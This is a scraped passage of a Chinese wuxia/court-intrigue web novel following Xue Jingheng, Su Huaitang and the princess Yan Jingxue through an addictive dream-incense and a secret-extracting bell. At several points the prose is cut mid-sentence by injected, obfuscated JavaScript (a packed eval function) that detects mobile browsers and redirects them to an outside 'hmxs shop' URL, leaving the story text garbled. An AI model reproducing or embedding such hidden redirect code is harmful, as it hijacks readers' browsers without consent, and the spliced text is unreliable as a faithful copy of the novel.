根据百晓生《福安郡主起居录》记载,承文三年,言贵妃已然诞下太子冠宠六宫,却因一次酒醉戏谑之言,引来天子雷霆之怒。御前侍奉的琴师当场被拖下去杖毙,血溅宫阶。 自此文帝半月不曾踏足朝云殿,言贵妃纵有万般悲愤与委屈,念及年幼的太子与悬于一线的母族荣辱,只得用尽心思献媚逢迎,素衣脱簪请罪。 帝王之心稍霁,恩宠才得复还。 原来纵是这般盛宠的贵妃,亦不过是帝王掌中物,稍有差池,便是万劫不复。 二皇子胞妹云罗九公主骄纵,也曾多次公开宴席上语带机锋,“太子哥哥虽然尊贵,但是在朝堂上屡屡顶撞父皇,恐怕早已失了圣心,言家不过是仗着贵妃还得势罢了,但是色衰而爱驰,别忘了天下姓皇甫,不姓言……”那细碎的片段拼凑起来,一切早有预兆,只可惜小郡主被父亲保护的太好,不曾为家族分担。 5. 临安双璧 冬夜,漫天的雪花像撕碎的鹅毛纷飞,天地间早已失去了分明的界限,苍茫一片,似一幅被白色渲染到极致的水墨画。 檐角垂下的冰凌晶莹剔透,偶有细碎的雪花飘落在上面,融化成小小的水珠,沿着冰凌滴下,发出沉闷的低响。 路遥脸色发白,在薛景珩书房门口跪了一盏茶的功夫,单薄的外衫上落满了薄薄一层积雪。 苏怀堂上门时,正瞧见路遥瑟瑟发抖的可怜样子,他斜倚着门,手中雁翎扇“嗒”地一合,抬手敲上路遥的右肩,微微压了压:“路小公子又犯了什么错?大雪天的怎地跪在这?” 然后毫不遮掩的幸灾乐祸道:“成日见了我总是挑衅吵嘴,今日怎地哑巴了?” 路家祖上也曾出过横刀立马的大将军,只可惜子孙不孝,到了路遥这一辈,多是些游手好闲、吃酒耍横的纨绔子弟。 路遥从小就跟着薛景珩一起长大,其他氏族子弟瞧不上从前的薛家门第,冷落着薛景珩,偏路遥敬服他的才干,像小跟屁虫一样跟在景珩身后,唯他马首是瞻,给薛景珩当贴身护卫。 后来景珩被封淮安王,便求了二殿下恩令,破格封路遥当了禁军副将。 路家也仰仗着淮安王的身份,在氏族中逐渐站稳脚跟,略有些体面。 听闻苏怀堂的戏谑声,薛景珩终于露面走出书房,黑色的狐裘大氅下,他面色疲倦,眼圈青紫,似乎彻夜未眠。 “看来苏指挥使伤好的差不多了,开始插手淮安王府的闲事了?” 苏怀堂——漠北大营北辰卫铁骑的少年指挥使,革新派摄政王独孤慎麾下最趁手的一把刀,与薛景珩并称临安双壁。 苏怀堂不过二十出头,但处事果断、深谙权谋之道,以年少之姿在波谲云诡的朝堂上逐渐站稳脚跟,让朝臣亦不敢小觑。 薛景珩和苏怀堂虽在朝廷上分庭抗礼,分属保皇派和革新派的不同阵营,但同是五姓十族出身,在临安城有自幼一同长大的情分,所以私交甚笃。 瞧见薛景珩愠怒的神色,苏怀堂微扬起唇角勾勒出一个笑容,但那笑意只停留在了唇边,眉眼间的淡淡不满一闪而过,语带机锋还有几分戏谑。 “我哪敢置喙,淮安王如今在朝堂上可是炙手可热,早就压过了苏某的风头。” 苏怀堂生的颜色极好,鼻梁高挺,举手投足间贵气天成,一双丹凤眼勾魂摄魄,笑起来的时候微微上挑,虽不带笑意,依然容色无双,令女郎都自愧不如。 临安城内,上至皇亲国戚五姓十族,下至贩夫走卒庶民百姓,自古以来都笃信门第继承制,极其看中姓氏出身,坚持只有继承氏族纯血脉的子(女)才能传承族长之位,延续家族香火。 五姓指的是临安城五个最为显赫的家族,皇族皇甫氏、门生满天下上官氏、刀法第一独孤氏、富甲天下沈氏和精通五行八卦、奇门遁甲的司寇氏。 而十族则是数百年来,依附于这五姓之下逐渐衍生出的十个分支,洛川窦家、江北江家、金陵苏家、荆州路家以及太原薛家、云台言家、安西长孙家、琅琊王家、飞云堡钱家和万仞谷韩家。 但是实际上,千百年传承下来,五姓十族中纯血统早已凋零,即便最严格遵守氏族通婚制的沈氏也不敢说血统纯粹。 那些自诩五姓十族的“纯血统子孙”多不成器,不过借着先祖的荣光,维系着一份早已模糊的身份认同,享受平民的供奉和特权罢了。 反倒是独孤氏族长平民出身的妻子生下的孩子独孤慎天赋卓然,拔出了传说历来只有纯血脉子(女)才有资格传承的天下第一刀——天戮刀。 在两位纯血统兄长莫名猝死后,独孤慎越俎代庖承袭了独孤氏族长之位,又纵横捭阖收服联合了琅琊王氏等力量,获得了飞云堡钱家军的鼎力支持,微妙地与皇甫王朝形成了分庭抗礼的局面。 天子迫于局势加封独孤慎为摄政王,部分代行天子权。 而独孤慎因为出身,在朝堂上主张废除五姓十族的纯血统传承制,成为革新派,要取消门第偏见和氏族子女的一切特权,不拘血脉选贤任能,与薛景珩扶持的二皇子保皇派针锋相对。 革新派和保皇派彼此斗争,在朝廷和江湖势力上各不相让,多年斗争下来,形成了如今互相制衡的局面。 苏氏多年前倾覆,苏怀堂年幼失怙,被独孤慎收为义子抚育长大。 薛景珩眼神倦怠冷冷扫过苏怀堂:“你这乖张的性子何时能收敛些?”语气冷冽却带着一丝兄长的宽厚。 “你这次伤的不轻,若不是北丐神医及时赶到,用护心丹保住心脉,恐怕非死即残。神医特意嘱咐你要卧床静养半个月……况且临安城中人事复杂、眼线众多,你的身份特殊,即使在淮安府内,也不该随意走动。” 苏怀堂收敛了戏谑的神色,盘着右手的白玉佛珠,垂眸半晌道:“半个月的时间可不短,我担心漠北大营的影子露出破绽,准备这两日启程返回漠北雁关城。呼延邪大单于向来多疑谨慎,我得多加防备。” “咳咳”,冬日的寒风袭来冷入肺腑,薛景珩轻轻捂唇,侧身按在胸口连连咳嗽,眉眼中难掩憔悴。 苏怀堂略有好奇地打量着薛景珩苍白的面色,正要开口询问,却被他自然地转开话题,“可知是谁伤的你?” “哼,除了独孤慎那个不成器却刚愎自用的儿子独孤迦罗,还有谁如此丧心病狂!”苏怀堂眼神冰冷,右手的佛珠撞击声愈加清脆。 听到答案的薛景珩面色无波,似乎答案早在意料之中,只是疑惑道:“能将你重伤如此?独孤迦罗何时有这般手段能耐了?” 苏怀堂漫不经心甩了甩白玉佛珠,一声低笑似玉磬相击,“他这次下了狠手,想必也舍了重金,不知如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“靖雪醒了,那应该没事了吧?!”路遥扬起脸、顿时眉开眼笑,“景珩哥,求您看在往日的情分上……放过靖雪姐姐吧……”话还没说完,路遥脸上就挨了狠狠一巴掌。 “真是不知死活。” 苏怀堂震惊的看着一脸红肿的路遥,“你说谁?……福安郡主?言靖雪!……她竟然还没死?……如今身在淮安王府?!” 路遥自幼跟着景珩长大,从来没听过重话,如今被当众责罚一时面上难堪,眼圈瞬间便红了,但是他咬着牙忍着泪,梗着脖子不肯低头。 “路小公子,好像还是不知道自己错在哪?”薛景珩微微咳嗽,声音冷如冰霜,“记着,今天是我最后一次教导你,以后再犯按规矩处置。” “一是错在沉溺儿女私情,罔顾所谋大计、罔顾家族复兴大业。” “二是错在你敢觊觎兄长的女人。” 6. 一响贪欢 言靖雪醒来时,暖玉阁地炉烧的很旺,闷热的空气中混杂着浓重的血腥气,呛得她头昏脑涨。 隔着厚厚的帘帐,似乎有人在看她,那感觉如此熟悉,却像前世那么远。 只是微微闪神的功夫帘外的人就不见了,只剩下白发苍苍的大夫隔着帘帐,连着细细的丝线诊脉,“……郡主此番受惊又受伤,心神受损,务必得仔细调理好好养着,否则落下病根,就算华佗在世也难以回天……” 北丐神医还在絮絮说着饮食禁忌和调理方子。 “养病期间,安排靖雪住在暖玉阁。任何人没有我的手令,不得入内打扰,尤其是路遥。”薛景珩站在院中遥遥吩咐道。 他抿紧嘴唇,面色冷静,似乎在努力维持一种镇定的姿态,然而微微攥紧的手指无声地透露出他内心的不安,转身离开时脚步虚浮踉跄。 “哎,小心!”一旁看热闹的苏怀堂眼疾手快扶住他,转头向身边伺候的贴身婢女十一娘吩咐道,“快扶景珩回房休息!” 昨夜有南境加急军情,薛景珩几乎一夜未眠,而后又在暖玉阁外迎着冬雪站了大半个时辰,引发了身体旧疾。 烛影摇碎四更霜。 淮安王府卧房内,薛景珩倚靠在榻上,筋络突突乱跳,心口一阵剧痛袭来,忽觉骨隙里游出千万只蚂蚁,脸色瞬间苍白如纸,额间的冷汗沁透了鬓发,强撑着保持几分清冷的威严。 看到一旁伺候的十一娘迟迟不动,他终是忍不住开口催促,“快去取药来。”薛景珩喉头滚动着咽下一声喘息,带着最后几分克制的隐忍。 十一娘是三年前被苏怀堂举荐进淮安王府的,有几分武功又通晓药理,负责照料他的日常衣食起居,伺候薛景珩久了,最是知晓他说一不二的性子。 但是此刻她却咬紧了牙关,声音微颤,脸上掩不住的犹豫与惶恐,壮着胆子规劝道:“王爷,那药虽能缓解痛苦,却……却会侵蚀身体,若是用多了……”话未说完,她便抬眼瞥见薛景珩略显冷厉的目光,不由得将余下的话吞入喉中。 “我知道它是什么。”薛景珩语气平静,因为剧痛的折磨神色却开始恍惚,话语也不由得变多。 “自我记事以来便患有心疾,每逢情绪激荡,剧痛如利刃割心……所以祖母自幼教导我举止沉稳、喜怒不形于色,实际这份冷静并非天性,而是长期克制情绪的习惯使然……后来祖母便替我去苏家寻了这药,才能缓解一二……你以为我不清楚药瘾的后果吗?可我……别无选择……” 十一娘愣了一瞬,眼圈微红,终究不敢违命,只能低声应是,然后转身熟练地取出香盒里层的浮生若梦,手指颤抖着捻起一根又细又长的香烛,指尖微动,火折子发出一抹温柔的火光。 火苗跃动间,袅袅青烟徐徐升起,一股冷冽的梅香随即缓缓扩散开来。 摇曳的烛光映照在薛景珩苍白的脸上,映出一种难以言喻的肃穆与安宁。他的神思似乎在抵抗,却终于安静下来。 薛景珩闭上眼,声音低哑又轻缓:“你退下吧。” 他很快便安静地依在床边睡着了,只是没有了清醒时的运筹帷幄,梦境中依然不安。 浮生若梦——药引取自南境之巅的紫萱草和北境之底的烈火岩灰,曾被进献入宫治好了开国皇后言思敏的癔症,轩帝大喜过望,重赏了进献的医者,是金陵苏家的不传之秘。 坊间童谣传唱“活死人、药白骨,浮生若梦百病消”,浮生若梦被百姓称为止痛神药,能镇定安神。哪怕是战场上血染衣衫、残肢断臂的将士若能闻到浮生若梦,仍可以强撑着身体跨马杀敌、直捣黄龙直至最后战死。 只是浮生若梦还有一个副作用,会诱导使用者不断在神思中回忆起人生的美好瞬间,若是长期使用必会沉溺上瘾,最后神思萎靡而死。 所以鲜为人知,被苏家隐瞒的童谣后半篇是,“生别离、死何惧,最恐相逢是梦中。” 十一娘轻轻合上房门,脚步匆匆离开。 走廊上月光如霜,洒在青石地面,十一娘的背影被拉得修长而单薄。 薛景珩掌心微汗,指节时而握紧颤抖,仿佛在梦中攥住了什么,睡得并不安稳。 他的梦境像一幅被雨水浸湿的水墨画,记忆中的白梅与血色不断晕染交融,靖雪的笑声仿佛近在眼前,时而又被刀剑碰撞声推远。 晨雾氤氲里,铜镜中映着十六岁福安小郡主未施粉黛执梳的倒影,靖雪坐在窗前,鬓边微潮,刚沐过身,衣襟松松合着。 她指尖蘸了金粉,正对着铜镜细细勾描,给眉间那抹天生的云纹胎记周围描上牡丹花样。 门外有风声轻响,贴身丫鬟推开半掩的窗,风一下子灌了进来,视线落在窗台之下,却是一只刚断奶的小狸奴叼着半支刚折下的海棠花,花蕊间还藏着未化的露水,似有人将心事轻放于此,又不敢叨扰分毫。 “郡主,你瞧这小狸奴真可爱!毛色是纯白的,不掺一点杂色,眼眸还是漂亮的金色,看起来似乎是前几日暹罗进贡,被二皇子转赠送给薛公子的那只?!” 雪团似的小狸奴不过巴掌大,蹒跚踩着言靖雪的掌心走来时,粉嫩肉垫还站不稳。它忽然仰头打了个奶嗝,吐着奶泡咬她指尖。 四下望去院内却无人,靖雪的视线望过去,只有高处的树枝似随风摇曳。 她欣喜地捧起小狸奴轻柔爱抚,满心欢喜,忽然瞧见镜中人,又蹙眉小声抱怨道,“今日这发髻似乎有些紧。”她悄悄松了松脑后的簪子,企图让发髻松快灵动些,又怕弄乱了妆容,对着镜子一时犯了难。 “自宫宴后,郡主每日梳妆总要挑三拣四的。”贴身丫鬟手腕轻转,将被靖雪扯松的两鬓散发重新仔细盘起,换了个灵巧的新样式,口中却不忘取笑打趣道,“前日嫌簪子素了,昨日又嫌衣裳样式旧了。” 丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637529|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟瞧着镜中人发愁的模样,噗呲一声笑出来,“郡主,奴婢可记得书上有句话,好像是士为知己者死,女为悦己者容?” “小丫头,你胡说!我哪有!”靖雪瞬间绯红了脸颊,“你再胡说,我就……”作势要咯吱闹她,手举到一半却自己先笑了,眼波流转间,胜过窗外春风无数。 薛景珩的梦境一转,月色如纱,笼着庭前那株半枯的海棠花树。 十六岁的靖雪立在石阶下,指尖捻着一片飘落的花瓣,忽然抬眸看他,眼里含着三分笑意,七分羞意。 夜风掠过,吹动她鬓边碎发,也吹散了薛景珩故作镇定的呼吸。 他想替她拂开那缕青丝,手抬到半空,却只敢悬空停在风里——仿佛再近一寸,便会惊碎这场易醒的贪梦。 佛门有言:贪念不灭,诸苦缠身。情之一字,最是祸根。 言靖雪却忽然将花瓣按在他掌心,指尖一触即离,烫得他辗转难眠。 院中烛火在纱罩里幽幽跳动,映得她半边脸庞忽明忽暗。 梦里的小郡主忽然伸手拽住他的衣袖,指尖发冷,声音中夹杂着幽微风声,带着十分执拗和希冀:“景珩哥哥,说好送我十六岁的生辰礼呢?你藏哪儿去了?” 薛景珩呼吸一滞,可此刻梦境中的她言笑晏晏,似乎凑近了还能闻到衣袂间浮动着清幽的荷香,不是浓腻的脂粉气,而是她平素喜欢的、那种带着水汽的、微苦的芬芳——像是夏夜月下初绽的莲花,花瓣尖儿还凝着露,风一吹,便簌簌抖落满襟清凉。 “薛景珩,告诉我……东西藏在哪?”语气既轻且微,怕惊扰他。 但香气已缠上来,丝丝缕缕往肺腑里钻。 恍惚间,似有所感,薛景珩反手握住她冰冷的指尖,指尖擦过她袖口鲛绡的刹那,他恍惚以为触到了真实的温度——衣料上绣着的缠枝莲纹微微凸起,摩挲过指腹时感到细腻纹路。 “告诉我……藏在哪里?”女人的声音似哄似劝。 “……书房暗格……”薛景珩的声音低不可闻。 空气中弥散着似有若无的冷冽荷香,引诱他沉沦。 幻境里,少女言笑晏晏的模样,慰藉了他多年刻骨铭心的相思。 浮生若梦的药效彻底发作,薛景珩呼吸变得绵长,然而眉眼却不见丝毫松弛。神思在困顿与清明间反复拉锯,干裂的唇间泄出几声零碎的哽咽:“靖雪……” 冷汗浸透中衣,一滴清泪从脸上划过,落入枕畔仿若未见。 幻境和现实交叠,耳边却响起神医刚刚为她诊脉时的话语。 “北丐神医……靖雪身子究竟如何?” “薛公子,老朽已避世多年,如今来临安城走这两遭便算是还了昔年欠你的人情罢,小郡主心脉有旧损之痕……此乃沉疴。虽表面无恙,实则根基已伤。须得时时固本培元,切忌再耗心神,否则旧创复发,恐寿数难长……” 7. 梦神女 淮安王府,小厨房。 药气氤氲,刚煎好的汤药盛在定窑白瓷碗中,搁在漆盘上。 十一娘净了手正欲上前,却被突然出现的婢女春诗抢了先,“侍疾的事情繁琐辛劳,这等伺候的粗活还是我来替十一姑娘做吧。”春诗说罢伸手便要接过漆盘。 十一娘指尖未松,反而微微用力扣住了盘沿,面上笑容愈发温婉道:“府中事务各有分工。王爷近身服侍、一应起居饮食既是我做惯了的,本就是分内之责,绝不敢假手于人,更不劳春诗姑娘费心。” 厨房里瞬间静了。 几个仆妇交换着眼色,看向两人的目光便带了几分隐秘的审视—— 薛景珩尚未娶亲,淮安王府无正经主母管事,府里那些年轻鲜妍的面孔,个个如同嗅着腥气的狼群,紧盯着那通往主子枕畔、姨娘身份的通道。 春诗生得一副娇俏容貌,眉眼流转间又透出几分聪慧,是府里丫头中的翘楚,说句僭越的话,凭她的资质就算是放在五姓十族的贵女中也是拔尖的。 只是春诗心思过于玲珑了些,新来的小丫头常得她“指点”,凡有苦差,她总能引着那不识深浅的小丫头“自个儿领悟”着顶上去,甚至小丫头们吃了苦果,一时还转不过弯来念着她的好;有了露脸的巧事儿,春诗又不动声色地顺到自己手里,尽捡赏赐领。 只是春诗行事倒是周到伶俐,所以颇得玉竹姑姑器重。 十一娘扬眉似笑非笑,语气却不紧不慢道:“端茶递水、近身伺候的细致活儿,讲究的是沉稳妥帖。春诗姑娘年轻貌美自是顶好的,只是难免心浮气躁了些,若是毛手毛脚摔了碰了,或言行失了分寸……扰了清净事小,只怕反倒惹王爷不喜。” 春诗僵在原地,又扫过周遭那些无声的揣测目光,只觉得一股浊气闷在胸口,却难以反驳。 淮安王府门第显赫,事务繁杂千头万绪。薛老太君年高德劭,是府中定海神针,素日不过问府内小事,只在小佛堂中静修颐养天年,而薛景珩生母华夫人是个中看不中用的草包美人,不善持家。 于是,这支撑偌大王府内宅的权力,便落在了最得势的玉竹和十一娘两位掌事手中。 玉竹姑姑是薛老太君心腹,做事稳重细致,总管着府中主子们的日常起居,从老太君的晨昏定省、华夫人的汤药点心,到旁支叔伯各房主子的屋舍洒扫,乃至近身伺候的丫鬟调配,皆由她一手安排。 就连存放着御赐之物、紧要书帖和金银细软的私库钥匙都交由玉竹保管。 十一娘三年前初来乍到时引起不小的风波,她生得绝色貌美,又是苏怀堂送来的人,本以为是要做姨娘的,但她心无旁骛只管恭敬地服侍薛景珩衣食住行,旁的一概不问。 十一娘心思细腻,又通晓几分功夫,将薛景珩近身事打点的极妥帖,从无差池。 春诗虽然在王府春夏秋冬四辈丫鬟中排名靠前,但是终究不敢以下犯上跟十一娘直接相对,只得将脾气收敛起来,审时度势乖巧道:“既然药已备妥,按例送去便是,我不过是路过好心帮忙,十一姑娘何必话中有话地污蔑人……玉竹姑姑吩咐库中尚有新到的川贝母未及分拣,叫了我去快些去料理呢。”说罢,甩手径直走出在门外。 十一娘冷笑一声,未置一词。 然后环视众人道:“知晓诸位近日辛苦,”她音色清润如泉,却字字清晰,“王爷贵体欠安,容不得半点闪失。烦请各位打起十二分精神,即日起药房重地以及王爷近身所用之物,非我亲允,无论何人不得擅入或靠近,否则按照府里规矩从重处置。” 她微微停顿,目光所及之处,众仆妇皆不由自主地垂首应和,“是,十一姑娘请放心。” 许是言辞过于严厉,氛围顿时有些低沉,十一娘笑着挽起额角的鬓发,放轻了声音道:“并非我无事生非,此乃王爷安危所系,亦是府中规矩根本。万望各位体谅,恪尽职守,莫要辜负王爷平日的恩泽与信任。” 语毕步至药炉旁,利落地取过小碗,舀出滚烫的药汁,将袖中银针探入药汤中,须臾银针无恙,她紧绷的肩颈才微微松弛,端着热茶折返薛景珩卧房。 刚踏上回廊,余光一闪瞧得不真切,似有影子掠过檐角。 十一娘警觉地脚步一顿,侧头望去,空廊寂静,只有风吹竹影婆娑。 “奇怪……”她轻声嘀咕,压下心中异动,推门入内——香炉尚燃,薛景珩卧榻未醒,一切如常。 只是那扇窗,不知何时,被风推开了半寸。 榻上人眉头紧蹙,呼吸急促,喉间隐隐低喃,神思极是不安。 “王爷?”十一娘低声唤他,语气放得极轻,怕惊醒梦中人,“王爷,可是梦魇了?”她迟疑片刻想伸手用丝绢替薛景珩拭去额间冷汗。 夜深沉,烛火早已熄尽,寝殿中只余窗外月光穿过纱帐的一线银白。 十一娘绞了帕子,指尖悬在他额前寸许处,迟迟不敢落下。 薛景珩睡得并不安稳。 他的面庞在烛火下显得愈发苍白,薄唇微抿,浓密的睫毛在眼下投出两弯青影,随着每一次并不顺畅的胸口起伏轻颤。 满室弥漫着浓郁而苦涩的药气,那气息凝滞不散,沉甸甸地压在人心头。 十一娘垂首凝视着碗中汤药,水面倒映出她模糊的影子,轻轻摇晃像是承载了太多欲言又止的女儿家心事。 烛火噼啪一响,她手中素绢终于颤抖着抚上他汗湿的鬓角——却在触及的刹那被猛然攥住手腕。 一股极轻微的气息悄然靠近,带着不属于她的香气。 不是她。 下一瞬,薛景珩猛地坐起,汗湿鬓发,眼底还凝着未散的痛色,枕下匕首反手而出,寒光破夜。 “什么人?!”他的嗓音带着睡意未尽的沙哑,却冷得像冰刀刮过脊背。 寒光已逼至心口,十一娘才惊抬眼眸,迟滞的惊呼凝在喉间—— 一道残影如月破云,苏怀堂反手握住刀刃,替她拦下致命一击。 血珠瞬间沿苏怀堂的指节蜿蜒、滴落,他身形未顿,未偏头看她,指节在刃脊上轻轻一扣,匕首便温顺地挣开薛景珩的五指,震落在地。 “怎么回事?” 苏怀堂上前探了探神思混沌的薛景珩脉息,眼底掠过诧异,才转向惊魂未定的十一娘,声音冷冽质问道:“不是用过浮生若梦,景珩怎还会在梦中骤然惊醒?” 十一娘摇头困惑,垂首颤声道:“许是……许是……奴婢走近奉茶的脚步声引得公子猝然惊醒,错将我认作刺客?” “刚刚是你?”薛景珩的神色在困惑和昏沉之间摇摆,杀意散去。 苏怀堂不着痕迹地拂过他颈侧穴位——薛景珩应手而倒,沉沉睡去。 苏怀堂顺势将人放在床上,眉心蹙紧:“满屋浮生若梦的味道未散、药效还在,你又是惯常伺候的老人……”目光如刀寸寸环视过屋内陈设,“凭借薛景珩的定力,纵是梦魇也不该辨不清你的脚步,更不该突然取你性命这般狠厉……他定然是觉察到什么异常……” “你久在淮安府中不知晓外面事,近来不少朝臣离奇病故,负责探查的大理寺少卿李殊虽没盘查出什么不妥,但怀疑是青衣门暗中作祟。今日之事万不可大意,需打起十二分精神,任何蛛丝马迹都不得遗漏!” “是,少主!”十一娘垂眸听训,神色谦卑恭谨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637530|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 十一娘,又名苏十一娘,是金陵苏家暗地里产业碧落坊中排名十一的天阶暗探。她本是打理醉吟楼的女掌柜,因为心细如尘,长袖善舞颇得苏怀堂器重。 自打三年前,薛景珩在府中遭人下毒,苏怀堂便将她送过来贴身照料,于女红、药理和兵刃上都略通一二。 十一娘细心地将锦被铺置妥当,正欲起身,指尖忽地被什么东西硌了一下。她拨开被角,只见一颗黄豆大小的金铃珠滚落。 “少主?” 金铃珠无意间在她指尖轻擦,“叮铃”一声清鸣骤起,嗡鸣感竟穿透掌心血肉震得十一娘骨髓疼痛。 苏怀堂玉面骤寒,“竟然是蛊魂铃?!” “蛊魂铃?”十一娘颦眉不解。 “传闻是苗疆大祭司亲手所制的兵器,由三十六枚小小的金玲珠层叠盘绕而成,铃铛间以缠枝金丝串联,可以带在施术者的手腕或者手臂上,无风亦自鸣,能够蛊惑人心,引诱中术者吐露最深的秘密。” “都怪十一娘不察,有负少主嘱咐和王爷素日厚恩,还请赐罪!”十一娘闻言重重跪下,背脊伏在地上,额头抵上冰冷的砖石。 “奇怪,到底是什么人?自苗疆大祭司离奇失踪,蛊魂铃便也随之消声灭迹二十余载,再无踪迹……”苏怀堂神色困惑,话音未落,目光忽地停在十一娘肩头。 素衣的肩头处被薛景珩的刀锋划开一道整齐的裂口,其下的里衣已被鲜血洇出碗口大的一片暗红。她鬓角几缕青丝被冷汗濡湿,唯有微微发颤的身形随着呼吸轻轻晃动,泄露了那强压在平静表象下的痛楚。 苏怀堂见状,表情略有松动。 十一娘终究是自幼看着他长大,多年来如长姐、如忠仆般陪伴在侧的老人,他心中终是不忍苛责。“你素来谨慎,今日之事是来人用心险恶,非你之过。” 天色渐亮,当薛景珩从浮生若梦中转醒,一抬眼便看见苏怀堂臭着脸坐在太师椅上,目光如箭,仿佛要将他钉穿。 薛景珩好笑道,“苏公子,大局还未定,怎么这样沉不住气,现在杀了我可不是鹬蚌相争,白白便宜了旁人?” 苏怀堂轻摇折扇冷哼一声,“薛公子暂且宽心……山河令尚未现世择主,我还不会蠢到自断手臂,此、时、此、刻……便杀了你。” 薛景珩知晓苏怀堂嘴硬心软的臭脾气,不予理会。只是他眼尾还泛着梦里未散的潮红,回忆起梦境中的旖旎,耳根蓦地烧了起来。 待瞥见案几上半盏冷茶时,瞳孔却骤然一缩,一时有些分不清浮生若梦的幻境和现实。 “昨晚……是十一娘来过?!”他手指死死攥住衣襟,待低头瞧见衣衫整齐,连腰封都未曾松动半分,紧绷的肩膀才缓缓松懈下来。 苏怀堂挑眉,从上到下一脸玩味地打量着他,缓缓开口道:“别担心,我想看看你身上浮生如梦的药瘾如何了,或许……不小心进来打断了薛公子的好梦?” 薛景珩冷冷瞥了他一眼,端起冷掉的茶水饮下半盏,既不接话也不附和,最后将茶盏不轻不重地搁在案上,发出“叮”的一声清响,透出几分不悦。 半晌,缓缓开口道:“过段时日,我会寻机会请二殿下恩赏,封十一娘为县主,一辈子安然富贵……” “呵,“苏怀堂冷笑出声,“果然,痴情的人都绝情……倒是可怜十一娘一片痴心错付了。” “只是不知……”苏怀堂唇畔的笑意加深,指间把玩着金铃珠,漫不经心的声音似初冬溪涧里的浮冰相撞般泠冽清脆,“……薛公子昨夜在蛊魂铃的迷惑下,向梦中人吐露了什么真心话?” 他上挑的丹凤眼中寒光凛冽,带着一丝玩味的探究。 8. 清倌人 暖玉阁里一片安静,连雪落下的声音都恍若可闻。 伺候的丫鬟夏蝉轻手轻脚地踏入内室,见言靖雪仍昏睡未醒。 她侧卧在青纱帐里,身形随着均匀的呼吸微微起伏,些许涌入的微风撩动帐幔,露出她袖口一段缠枝莲纹,在昏暗的烛火中若隐若现。 锦被滑落至腰侧,露出一截皓腕垂在外,夏蝉心头一紧,连忙上前将被角拉起盖到肩头,无意间触到言靖雪冰冷的手指时不禁倒吸了口凉气,赶忙将手中温热的汤婆子裹了层软绸塞进被角。 夜风袭来,屋内烛火摇曳,在靖雪脸上投下忽明忽暗的光影。 雕花木窗竟微微敞着一条缝隙,在月光下泛着冷光。 “奇怪,明明检查过的……”夏蝉蹑手蹑脚地走到窗前,伸手摸了摸窗栓——没有上锁。“莫非是我记错了?”她暗自嘀咕,伸手将窗户严严实实合上,又咔哒落上铜锁。 “再添个炭盆来,”夏蝉压低声音吩咐门外小丫鬟,“要银丝炭,记得拿云母片掩着点火头。” 合门的轻响刚消尽在廊下,言靖雪便睁开了眼,眼底一片清明。 帐内荷花香气犹存,拂开锦衾时,她指尖忽然触到一团柔软的暖意——夏蝉送来的汤婆子静静卧在衾褥之间。 “咔嚓!”忽闻门口一声轻响,似有黑影掠过。 “什么人?!”言靖雪眸光骤冷,提防地握紧了手中碧玉簪——却在看清那道身影时骤然泄力。 原是雪团那只傲娇的小狸奴,趁着夏蝉开门的瞬间蹿了进来,此刻正怯生生蹲在案几上,金瞳圆睁,尾巴尖儿还微微发颤。 它耳尖几根银毛被凌厉的气息截断,整整齐齐飘荡落在地上。 言靖雪走近几步,垂眸瞧着这不知天高地厚的小狸奴,不轻不重地拍在它头顶,“原来是你这小家伙,吓我一跳!” 雪团愣了愣,伸出粉舌试图讨好地舔了舔她的指尖,却被嫌弃地躲开。她拔下珍珠流苏逗弄着雪团玩耍,口中却喃喃自语,“山河令……藏在书房暗室中吗?” 鎏金熏笼里将熄的炭火,忽地爆开一粒火星。 —— 虽然淮安王府治下有方,府上众人口风甚紧,签了死契的下人对外都长着一条舌头,不敢妄议福安郡主刺杀之事。 但是却拦不住白日里府内众人彼此间高涨的八卦热情。 因为自家主子薛景珩性情冷淡、在女色上十分冷淡。 薛景珩不仅没有妾侍通房,甚至昔年五姓十族的贵女刻意着了薄纱在月下扑蝶,他也能视若无睹地擦肩而过,洁身自好到了令人疑心取向的地步。 用府上乳母玉嬷嬷的话说,“连府里最艳的海棠落上肩头,咱们二公子也懒得拂一拂。” 如今福安小郡主意外回来,还被拘在暖玉阁,也难免府上诸人于无人处私下议论。 暖玉阁内梅香混着药香袅袅,偶尔能听见屋内言靖雪的咳声传来,咳声虽然不断,但音色清亮,显然经过调理已然好转。 夏蝉摸清了新主子言靖雪的性格,知晓她喜静不爱人服侍,白日里便搬了板凳守在门外长廊上做针线活儿,听着左右姐妹说笑解闷。 “……王爷待郡主果然与众不同……” “你没瞧见当日郡主晕倒时王爷抱着她的神色,我从未见过王爷对谁如此紧张……” 书房外,风过竹影微晃,薛景珩眸光骤冷,“什么人在哪里?” 反手将茶盏掷向窗棂—— “叮”的一声脆响——茶盏落地,清瓷碎裂,打破了满室静谧。 薛景珩习字的时候不喜有人在侧打扰。所以淮安王府素日的规矩,若无吩咐不许下人无故靠近书房。 廊下传来一声轻呼,细若蚊蚋。 